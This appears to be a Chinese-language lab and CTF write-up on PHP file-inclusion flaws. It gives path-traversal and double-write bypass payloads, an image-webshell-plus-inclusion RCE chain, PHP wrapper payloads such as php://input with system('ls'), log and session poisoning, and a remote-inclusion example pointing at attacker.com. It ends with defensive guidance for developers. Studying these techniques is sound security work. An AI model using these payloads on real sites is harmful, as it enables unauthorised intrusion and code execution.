文件包含的本质只有一句话:代码把"用户填的路径"直接丢给了
include(),而include()会把文件当代码执行。它和"文件读取"只差一个函数名,危害却差一个量级——读取是"看",包含是"执行",后者直接通向 RCE。
⚠️ 本文所有测试均在授权靶场中完成,仅用于安全学习与防御研究,请勿用于未授权目标。
〇、先看通关记录
| 关卡 | 难度 | 考点 | 关键 Payload |
|---|---|---|---|
| 文件包含(入门) | 1 级 | 路径穿越 + LFI | ../../../../tmp/flag.txt |
文件包含(过滤..) | 2 级 | 黑名单绕过 · 双写变形 | ....//....//....//....//tmp/flag.txt |
| 文件包含 + 上传图片 | 3 级 | 文件上传 + 图片马 + 包含 = RCE | 上传shell.png→ 包含其返回的文件名 |
| 文件下载(入门) | 1 级 | 任意文件下载(文件读取的变种) | ../../../../tmp/flag.txt |
四关的终点是同一件事:读到/tmp/flag.txt。区别只在于"从哪条路进去、路上有没有拦路的"。
一、文件包含是什么
1.1 通俗版:一个过于听话的前台
把 Web 服务器想象成一家公司的前台。老板规定:每天上班第一件事,就是去文件柜拿一份《公司规章制度》(header.php),贴在墙上(执行)。
正常情况下,前台只去固定的柜子拿固定的文件。
直到有一天,一个陌生人(攻击者)递来一张纸条:"去/tmp/flag.txt,把那份文件也贴墙上。"
前台没有怀疑,也没有检查,老老实实走过去,把里面的内容当成规章制度一样贴了出去。
文件包含漏洞 = 服务器盲目信任了用户给的文件路径,并把它当代码执行了。
1.2 专业版:漏洞点在哪
PHP / JSP / ASP 里,为了代码复用,开发者常用include/require引入公共代码。危险代码如下:
<?php // 开发者想根据用户传入的 page 参数,包含不同的页面 $page = $_GET['page']; include($page); // 【漏洞点】直接包含用户输入,没有任何过滤! ?>本质:用户输入被直接拼接进
include()/include_once()/require()/require_once(),且路径未做安全校验。危害:泄露源码与配置 → 读取系统敏感文件 → 配合上传 / 日志 / 伪协议执行代码(RCE)。
1.3 一张表分清三个"近亲"
这三个概念最容易混,记住一句话:下载和读取都只能"看",包含能"执行"。
| 漏洞类型 | 核心操作 | 危害 | 典型代码 |
|---|---|---|---|
| 文件下载 | 把文件内容下载到本地 | 泄露源码、配置、敏感数据 | readfile($_GET['file']) |
| 文件读取 | 把文件内容回显在页面上 | 泄露源码、配置、敏感数据 | file_get_contents($_GET['file']) |
| 文件包含 | 把文件当代码执行 | 🔴直接 RCE | include($_GET['file']) |
📌判定的关键:被包含的文件里如果有
<?php ... ?>,服务器会真的执行它。所以同一个"能读任意文件"的入口,用readfile()只是信息泄露,用include()就是命令执行。
二、两种类型:LFI 与 RFI
| 类型 | 含义 | 前提条件 | Payload 示例 |
|---|---|---|---|
| LFI(本地文件包含) | 包含服务器本机的文件 | 无特殊配置 | ../../../../tmp/flag.txt、php://filter/... |
| RFI(远程文件包含) | 包含攻击者服务器上的文件 | PHP 需allow_url_include = On(现代版本默认关闭) | http://attacker.com/shell.txt |
LFI 是主战场:即使不能远程包含,也能靠"包含已上传的图片马""包含日志文件""包含 Session 文件"等方式拿到 RCE。
RFI 最简单粗暴:一旦开启,直接包含自己服务器上的 WebShell,一步到位。但因为太危险,现在几乎默认关闭。
三、实战复盘
3.1 1 级:最基础的路径穿越包含
页面表现:一个输入框,提示"包含已上传文件",旁边一个"包含文件"按钮——典型的文件包含入口。
推测后端逻辑(关键一步):
include("uploads/" . $_GET['file']);后端强制拼了一个目录前缀uploads/。想跳到/tmp/,就必须用../一层层往上爬。
Payload:
../../../../tmp/flag.txt实际执行效果:
include("uploads/../../../../tmp/flag.txt"); // 等价于 include("../../../../tmp/flag.txt") → 命中 /tmp/flag.txt一击命中。这一关的核心就是路径穿越:../的数量不必精确,多写几层也无所谓,因为超过根目录后再往上仍然是/。
2 级里还有一关手法完全相同,只是靶场描述会明说"你需要会目录穿越"。同理不重复记录。
3.2 2 级:../被过滤时的双写绕过
这一关防护升级了,直接提交../../../../tmp/flag.txt会被拦。两次失败很有价值,先把失败原因搞清楚:
| 尝试方案 | Payload | 结果 | 失败原因 |
|---|---|---|---|
| PHP 伪协议 | php://filter/convert.base64-encode/resource=/tmp/flag.txt | ❌ | 后端会拼上前缀uploads/,而伪协议必须出现在参数最开头才会被识别为流包装器;拼在中间就只是一个普通文件名 |
| 双重 URL 编码 | %252e%252e%252f... | ❌ | 服务端没有做二次解码,%252e被原样当成文件名字符,路径不存在 |
| 双写变形 | ....//....//....//....//tmp/flag.txt | ✅ | 见下方原理 |
Payload:
....//....//....//....//tmp/flag.txt为什么双写能绕过?(这里有个流传很广的错误说法要澄清)
很多现成笔记把原理写成"后端用了str_replace('.', '', ...),.被删掉,所以....//变成了../"。这是错的:
str_replace('.', '', '....//') → '//' ← 穿不出去如果真是删掉所有.,....//只会剩下//,这一关根本过不去。既然它过了,说明——过滤器吃掉的不可能是单个.,而是../这个整体。反推出来的后端逻辑是:
$safe = str_replace('../', '', $_GET['file']); // 把 "../" 整组替换为空 include("uploads/" . $safe); 把 ....// 逐个字符拆开看: 输入: . . . . / / 索引: 0 1 2 3 4 5 str_replace 从左往右扫描,在索引 2 处发现一组完整的 ../(索引 2、3、4),把它整组删掉,剩下索引 0、1、5: 剩下: . . / → "../" 于是: 提交: ....//....//....//....//tmp/flag.txt 过滤后:../../../../tmp/flag.txt 最终: include("uploads/../../../../tmp/flag.txt") ✅ 穿越成功⚠️易错点:
. 被替换为空,所以....//变成../"这个说法流传极广,但它是错的。正确的理解是:**过滤器每次吃掉一整组../,双写就是"多写一组"去喂它**。 换句话说,双写变形针对的永远是"**过滤 + 只替换一次**"的逻辑。防守方只要把替换放进while` 循环里,这一招就废了。
3.3 3 级:图片马 + 文件包含 = RCE
页面表现:两个功能区——"选择文件上传"和"包含已上传文件"。
判定:这是上传 + 包含的组合漏洞场景。单独看,上传有白名单(只收图片);单独看,包含也没有可执行的文件。合起来才能打通。
第一步:做一个图片马
本地准备一张体积很小的真实图片,如
1.png。用文本编辑器(或 Hex 编辑器)打开,在文件最末尾追加:
<?php echo file_get_contents('/tmp/flag.txt'); ?>另存为
shell.png。
命令行更快(Windows):
copy /b 1.png + shell.php shell.png
/b表示按二进制处理、/a表示按文本处理。这里统一用/b,避免换行符转换破坏图片的二进制内容。
第二步:上传,并记住返回的文件名
上传shell.png,服务器返回一个重命名后的文件名(通常是随机 UUID):
06ee4056-53e1-41a6-b9a2-3c86990eee7a.png这一步必须先拿到文件名,因为后面包含的就是它。
第三步:包含它,代码就执行了
在"包含已上传文件"里填上那个文件名,点击包含。服务器实际执行:
include("uploads/06ee4056-....png");PHP 解析器会扫描整个文件内容,遇到<?php就开始解析执行——图片的二进制部分被当普通输出,末尾的 PHP 代码被真真切切地执行,成功读出 flag。
为什么图片马能过安检?
| 环节 | 服务器怎么做 | 攻击者怎么破 |
|---|---|---|
| 文件类型检测 | 通常只看文件头魔数(\x89PNG、GIF89a) | 文件头是合法图片,天然通过 |
| 后缀白名单 | 只允许.png/.jpg | 后缀本来就是.png |
| 内容检测 | 一般不检查全文 | 恶意代码藏在文件末尾 |
📌图片马本身不会"响"。它只是一张图片——必须配合文件包含(或其他能把它当 PHP 解析的漏洞)才会被引爆。
组合技的一句话总结
上传负责把"炸弹"运进去,包含负责把"炸弹"引爆。没有上传,恶意文件运不进来;没有包含,图片永远只是图片。
3.4 附:1 级文件下载(文件读取的另一种表现形式)
同一专题里还有一关"文件下载",页面提示"输入文件名下载(示例:readme.txt)"。它的考点和读取完全一样,只是把"回显在页面"换成了"下载到本地"。
Payload:
../../../../tmp/flag.txt后端逻辑与判定:
readfile("uploads/" . $_GET['file']);代码审计时盯这几个关键词:
readfile($_GET['filename']); file_get_contents($_GET['filename']); header('Content-Disposition: attachment; filename="' . $_GET['filename'] . '"');靶场描述里那句话说得非常准:"文件下载实际上就是文件读取的另一种表现形式"。两者都是"读",只有文件包含才是"执行"。
四、进阶利用姿势
4.1 PHP 伪协议速查表
| 协议 | 作用 | Payload 示例 | 前提 |
|---|---|---|---|
php://filter | 读源码(Base64 编码,绕过内容过滤) | php://filter/convert.base64-encode/resource=index.php | 无 |
php://input | 执行 POST 体里的 PHP 代码 | php://input+ POST<?php system('ls'); ?> | allow_url_include=On |
data:// | 执行内联的 Base64 代码 | data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ | allow_url_include=On |
zip:// | 包含压缩包内的文件 | zip://shell.zip%23shell.php | 需先上传 zip |
phar:// | 包含 PHAR 归档内的文件 | phar://shell.phar/shell.php | 需先上传 phar |
💡 两个容易踩的点: ①
%23是#的 URL 编码,用来分隔"压缩包路径"和"包内文件路径"。 ②伪协议必须出现在参数最开头。如果后端是include("uploads/" . $input),伪协议会被拼到中间而失效——这正是 3.2 里第一次尝试失败的原因。
4.2 LFI → RCE 的三条经典路径
| 路径 | 原理 | 要点 |
|---|---|---|
| 包含日志 | 把 PHP 代码写进User-Agent,Web 服务器会把它记进访问日志,再包含日志文件 | 日志路径如/var/log/apache2/access.log、/var/log/nginx/access.log;前提是能读到日志 |
包含/proc/self/environ | 该文件是当前进程的环境变量快照,User-Agent在部分配置下会进到里面 | ../../../../proc/self/environ,依赖配置,成功率不如日志包含 |
| 包含 Session 文件 | 把 PHP 代码写进某个可控的 Session 值,再包含 Session 文件 | 路径如/tmp/sess_<PHPSESSID>,需要知道自己的 Session ID |
4.3 常见过滤与绕过对照
| 防御方式 | 绕过方式 | 示例 |
|---|---|---|
过滤../ | 双写变形 | ....//....//....//tmp/flag.txt |
过滤.. | 双写 / 编码变体 | ....//、%2e%2e%2f |
过滤php:// | 大小写混淆 | PHP://filter/...(部分场景有效) |
| 强制拼接目录 | 路径穿越 / 绝对路径 | ../../../../tmp/flag.txt |
| WAF 拦截关键字 | 双重 URL 编码 | %252e%252e%252f...(前提是服务端会二次解码) |
⚠️关于"通配符包含":网上常见
../../../../tmp/flag*这类写法,在 PHP 的include()里通常不成立——通配符展开是 Shell 的能力,PHP 的文件函数不会做 glob 展开。可以当作思路记着,但别当常规手段,更别指望靠它稳过。
五、安全防御建议(开发者视角)
5.1 文件包含
白名单校验(首选):只允许包含预设列表里的文件(如
header.php、footer.php),其余一律拒绝。不给用户路径,只给 ID:用
?page=1映射到具体文件,用户永远碰不到路径字符串。路径规范化后再校验:用
realpath()归一化,再确认是否落在允许目录内——注意要在归一化之后判断。关闭危险配置:
allow_url_include = Off、allow_url_fopen = Off。黑名单要循环替换:非要用
str_replace('../','',...),必须用while替换到不再变化,否则一个双写就废了。但黑名单永远只是补救,白名单才是解法。权限最小化:Web 进程只给 Web 目录读权限,别让它能碰
/etc/passwd、/tmp。
5.2 文件上传(组合攻击的另一半)
后缀白名单校验,并校验真实类型(不要只信
Content-Type)。二次渲染:用 GD / Imagick 重新生成图片,藏进末尾的代码会被直接抹掉。
上传目录禁止脚本执行:例如 Nginx 里不给
/uploads/分配 PHP 处理器。重命名为 UUID并去掉原始文件名,避免用户可控的路径拼接。
统一错误信息:别把拼接后的路径、过滤规则回显给用户——回显路径等于把后端逻辑送给攻击者。
六、总结
这一专题走完,真正带走的是三件事:
判定看函数:
include/require是"执行",readfile/file_get_contents是"看"。一字之差,危害差一个量级。穿越看前缀:
../../../../不是背出来的,是"后端拼了uploads/,所以我要爬出去"推出来的。绕过看逻辑:双写变形之所以有效,是因为过滤器"只替换一次"。先想清楚服务端怎么处理,再决定写什么 Payload——这比背一百个字典都管用。"